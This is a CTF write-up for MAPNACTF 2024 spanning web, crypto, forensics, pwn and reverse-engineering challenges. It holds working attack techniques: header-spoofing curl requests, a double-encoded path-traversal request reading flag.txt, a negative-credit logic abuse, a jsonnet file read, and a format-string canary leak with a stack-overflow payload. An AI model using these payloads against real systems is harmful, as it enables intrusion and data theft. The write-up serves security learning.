MAPNACTF 2024

Web

Flag Holding

We are given a link to a website with no other resource.

http://18.184.219.56:8080

Upon opening, I see this:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

I modify the request to include a "Referer" request header:

curl -H "Referer:http://flagland.internal/" http://18.184.219.56:8080

*You can use other request modifying tools too

I got:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Next, i included a "secret" parameter with the url.

curl -H "Referer:http://flagland.internal/" "http://18.184.219.56:8080?secret="

And then I got:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

I analysed the website source and found a hint:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Which means that the answer is http.

curl -H "Referer:http://flagland.internal/" "http://18.184.219.56:8080?secret=http"

Next, I got:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

So I change the request method.

curl -X FLAG -H "Referer:http://flagland.internal/" "http://18.184.219.56:8080?secret=http"

Lastly, I got the flag:

<!DOCTYPE html>
<html>
<head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Flag holding</title>
        <style>
                body {
                        background-color: #1a4a5e;
                }
                .msg {
                        text-align: center;
                        font-family: sans-serif;
                        color: white;
                        font-size: 40px;
                        line-height: 500px;
                }
        </style>
</head>
<body>
        <div class="msg" style="">
                MAPNA{533m5-l1k3-y0u-kn0w-h77p-1836a2f} </div>
</body>
</html>

Novel Reader 1

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

We are given a docker environment which contains a flask application.

The structure is as follows:

ls -R novel-reader
novel-reader:
Dockerfile  flag.txt  stuff

novel-reader/stuff:
index.html  main.py  private  public  static

novel-reader/stuff/private:
A-Secret-Tale.txt

novel-reader/stuff/public:
A-Happy-Tale.txt  A-Sad-Tale.txt

novel-reader/stuff/static:
script.js  style.css

In the flask app:

    if(not name.startswith('public/')):
        return {'success': False, 'msg': 'You can only read public novels!'}, 400
    buf = readFile(name).split(' ')

We can see that a readFile function is present, this might be the gateway to obtaining a flag from a file. This prompted me to use a directory traversal attack.

The only checking done to the path is that it must start with 'public/'.

Therefore, I tried:

GET http://3.64.250.135:9000/api/read/public/../../flag.txt

However, this didnt work as it gave me a 404 not found error.

This is because there script had a function that decoded the url passed in:

name = unquote(name)

I encoded the url and tried again, but it still gave me a 404 not found error.

GET http://3.64.250.135:9000/api/read/public%2F..%2F..%2Fflag.txt

This told me that nginx was decoding the urls before it reached the api endpoint.

The solution was to use double encoding so that it bypasses both nginx and the unquote function.

GET http://3.64.250.135:9000/api/read/public%252F..%252F..%252Fflag.txt

And I got the flag:

{"msg":"MAPNA{uhhh-1-7h1nk-1-f0r607-70-ch3ck-cr3d17>0-4b331d4b}\n\n... Charge your account to unlock more of the novel!","success":true}

Novel Reader 2

Continuing from novel reader 1:

By scanning the private directory in the docker environment, we can see that the file private/A-Secret-Tale.txt contains a flag at the second last word in the file.

Once a upon time there was a flag. The flag was read like this: MAPNA{test-flag}. FIN.

In the main.py file, looking at the line in /api/read api endpoint:

buf = ' '.join(buf[0:session['words_balance']])+'... Charge your account to unlock more of the novel!'

We can see that buf[0:session['words_balance']] is getting the first n characters of the string in buf, where n is words_balance.

Therefore, we can exploit Python's negative indexing to allow us to read all characters of buf if we can set session['words_balance'] to -1.

This is important because buf contains the whole contents of a file.

This prompted me to look for a way to set session['words_balance'] to -1.

Upon looking at the /api/read api endpoint, I see:

    nwords = request.args.get('nwords')
    if(nwords):
        nwords = int(nwords[:10])
        price = nwords * 10
        if(price <= session['credit']):
            session['credit'] -= price
            session['words_balance'] += nwords

I noticed that price wasnt being checked for negative, and that i could input a negative number through the request parameter.

First, I got the current credits and words_balance through /api/stats

GET http://3.64.250.135:9000/api/stats
{
    "credit": 100,
    "words_balance": 1
}

Since I currently have 1 word balance, so i pass in -2 to make nwords -1.

POST http://3.64.250.135:9000/api/charge?nwords=-2

Then, I tried accessing the file:

GET http://3.64.250.135:9000/api/read/public/../private/A-Secret-Tale.txt

However, I got this response:

{
    "msg": "You can only read public novels!",
    "success": false
}

By double encoding the filepath again, I got the flag:

GET http://3.64.250.135:9000/api/read/public%252F..%252Fprivate%252FA-Secret-Tale.txt
{
    "msg": "Once a upon time there was a flag. The flag was read like this: MAPNA{uhhh-y0u-607-m3-4641n-3f4b38571}.... Charge your account to unlock more of the novel!",
    "success": true
}

Advanced JSON Cutifier

image

  • A JSON Beautifier where you can run commands within it as wel
  • You know what you can do with running commands? run functions
  • The first step is figuring out what language was used to run the commands

image

image

  • with that out of the way, all theres left is to figure out how to read a file in jsonnet
{
    "here's the flag": importstr "/flag.txt"
}
-- Output --

{
    "here's the flag": "MAPNA{5uch-4-u53ful-f347ur3-a23f98d}\n\n"
}

Cryptography

What Next 1

We are given two files, output.txt and what_next.py.

Output.txt

TMP = [...a bunch of numbers that arent relevant here...]
KEY = 23226475334448992634882677537728533150528705952262010830460862502359965393545
enc = 2290064970177041546889165766737348623235283630135906565145883208626788551598431732

what_next.py

#!/usr/bin/env python3

from random import *
from Crypto.Util.number import *
from flag import flag

def encrypt(msg, KEY):
        m = bytes_to_long(msg)
        c = KEY ^ m
        return c

n = 80
TMP = [getrandbits(256) * _ ** 2 for _ in range(n)]
KEY = sum([getrandbits(256 >> _) for _ in range(8)])

enc = encrypt(flag, KEY)

print(f'TMP = {TMP}')
print(f'KEY = {KEY}')
print(f'enc = {enc}')

I see that the encrypt function is used to encrypt the flag with the key, and that it performs an XOR operation in the line:

c = KEY ^ m

Since the decryption method for XOR cipher is the same operation as encryption, I wrote this function:

def decrypt(ciphertext, KEY):
    m = KEY ^ ciphertext
    return long_to_bytes(m)

And then passed in the values:

print(decrypt(2290064970177041546889165766737348623235283630135906565145883208626788551598431732, 23226475334448992634882677537728533150528705952262010830460862502359965393545))

To get the key:

b'MAPNA{R_U_MT19937_PRNG_Predictor?}'

Forensics

PLC 1

We are given a .pcap file as follows:

image

Upon inspecting the packets, I noticed there were padded trailers in some of the Ethernet frames.

image

I filtered the packets by including only those with trailers:

image

And then extracted the parts of the flag from the trailers

3:Ld_4lW4
5:3__PaAD
1:MAPNA{y
4:yS__CaR
6:d1n9!!}
2:0U_sHOu

By rearranging the parts according to the numbers, we get the flag:

MAPNA{y0U_sHOuLd_4lW4yS__CaR3__PaADd1n9!!}

Tampered

XXG

For this one, the file provided (MAPNA.XXG) is a file

image

Running a program that checks the data of MAPNA.XXG pngcheck

image

This suggest a hidden image within the PNG
By hexdumping the png file, i was able to find the following data

image

This isnt important, the important one are below at around 0x200080 - 0x2001780

image

Which are some broken headers, as well as Gimp Metadata
Which is odd, as Gimp Metadata is found in a png file

Heres how a normal Gimp File looks like:

image

So i gambled and

  • extracted the gimp section
  • fixed the gimp header

image

and then i ran the gimp file

image

ggwp


Pwnable

Ninipwn

In this level, we are given a 64 bit excecutable, where it has these security features

image

The decompiled source looks something like this

static char* text_input; static int text_length; static char[8] key; void win(void) { // execute /bin/sh } void encrypt(char *buf_store,char *input_buf) { int i; for (i = 0; i < text_length; i = i + 1) { buf_store[i] = *(char *)((long)&key + (long)(i % 8)) ^ buf_store[i]; } return; } void encryption_service(void) { char *text_input; char buf_store [264]; long canary; printf("Text length: "); scanf("&d" ,&text_length); getchar(); if ((text_length < 0) || (0x100 < text_length)) { puts("Text length must be less than 256"); } else { printf("Key: "); read(0,&key,10); printf("Key selected: "); printf((char *)&key); putchar(10); printf("Text: "); text_input = buf_store; read(0,text_input,(long)text_length); encrypt(buf_store,text_input); printf("Encrypted output: "); write(1,buf_store,(long)text_length); } return; } int main(void) { disable_io_buffering(); puts("XOR encryption service"); encryption_service(); return 0; }

It basically will ask the user for three things in order

  1. The text length
  2. The key
  3. The text

The program will then iterate through the text buffer and encrypt each character of the text with each character for the key.

There are 2 vulnerabilities in the code; A format string vuln at line 31 and a stack buffer overflow from read(0,&key,10) at line 29 which will lead to another buffer overflow from char buf_store [264];at line 18. The reason is because when we read 10 characters to store at key which is meant to only store 8 characters, some of that data will overflow to the text_length variable.

The enctypt function will read from text_length and apply xor operations on text_length bytes starting from the address at text_input, which is only meant to hold 264 bytes, however text_length is not garenteed to be < 264 anymore.

We also noticed that the key buffer is stored in BSS, so we cant read its contents when trying to do format string exploit, however, we can read the canary value to leak it, which is at address 0x7fffffffde78 here.

image

After some trials, we determined that that we needed to offset 312 bytes to read the canary value, as shown here

image

Now that we know what the canary value is, we can prepare our payload to overwrite the EIP wtih the win() function.

I used this site to determine the offset to the EIP, turrns out it was 280 bytes.

With this information, we can develop our payload like so

echo 222 > pipe # text_length
python2 -c "import sys; sys.stdout.write('zzzp\$93%'[::-1] + '\r\n')" > pipe # key to leak canary
python2 -c "import sys; sys.stdout.write('i' * 264 + '\x70\x24\x31\x34\x67\x32\x66x7b\x71\x67'[::-1] + 'i'* 8 + '\x70\x24\x31\x34\x67\x32\x66\x7b\x71\x67'[::-1])" > pipe # xored canary and xored address of win() function

As we can see, we are able to run the exploit locally.

image

However, this wont work in remote because of the PIE attribute of the application, which means the address of win function is different every load.

I got stuck here until the challenge ended, however, after knwoing that PIE does not randomize every byte of the address, only bytes 1 - 7 in this case, made these few changes, I was able to get it to work on remote

echo 222 > pipe
python2 -c "import sys; sys.stdout.write('%39\$pAAA\x19\x01')" > pipe # change to AAA because I dont want to accidentally overwrite the rest of the EIP address
python2 -c "import sys; sys.stdout.write('i' * 264 + '\xd1\x29\xc2\x4f\x4e\x06\x64\x25'[::-1] + 'i'* 8 + '\x16'[::-1])" > pipe # only overwrite the last byte of the address here. 

image

Reverse Engineering

Compile Me!

image

The solution is quite straightforward, copy and paste the source in a editor, but you need to remove the new line, compile and run the flag

gcc main.c ; cat main.c |./a.out

image

Heaverse

image

The enumeration below shows us that the file is an executable and it is stripped and position independent, this information is important in reversing it.

jun@jun-Latitude-5430:~/mapna/heaverse$ file heaverse
heaverse: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=592d7ee08dcc8bb99a91787129d9c7df69c0fc8a, for GNU/Linux 3.2.0, stripped

The objdump below also shows us that there are also sound library functions being called like snd_pcm_close , snd_pcm_write etc. These function are from the ALSA C Library interface

image

Once we run the program, it plays a series of inconsistent beeping sounds, so that gave me a clue that the key is presented in a morse-code like format. I tried timing the beeps below but it seeme inconsistent and inaccurate.

image

So, I decide to get more information about the timing via the binary itself. Upon launching the binary, we can run r run the program and interrupt it with Ctrl - c. On pwndbg, we can run stack to see its contents and I noticed morse code at address 0x7fffffffdb32

image

Using x/10c 0x7fffffffdb32 - 0x10, we are able to view the original morse code contents

image

The code is then put to a morse code translator and we will receive our flag

image